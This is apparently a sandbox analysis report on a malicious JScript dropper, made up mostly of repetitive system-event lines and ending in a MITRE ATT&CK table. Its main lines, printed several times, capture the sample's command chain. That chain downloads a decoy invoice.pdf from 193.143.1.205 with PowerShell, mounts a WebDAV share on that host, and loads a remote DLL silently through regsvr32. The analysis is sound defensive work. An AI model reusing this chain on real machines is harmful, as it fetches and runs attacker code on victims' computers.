Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3102.js.csv");ITextStream.WriteLine(" entry:7465 f:doufecdyj");ITextStream.WriteLine(" exec:2 f:doufecdyj");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3806			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6074			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1992	Thread sleep count: 3806 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1992	Thread sleep count: 6074 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5688	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2136	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6200	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1628	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000003.2099602523.00000223C8DEC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW\|
Source: net.exe, 00000007.00000003.2099602523.00000223C8DEC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3338417787.000001C760054000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3337273295.000001C75AA2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2109668745.00000223C8D88000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
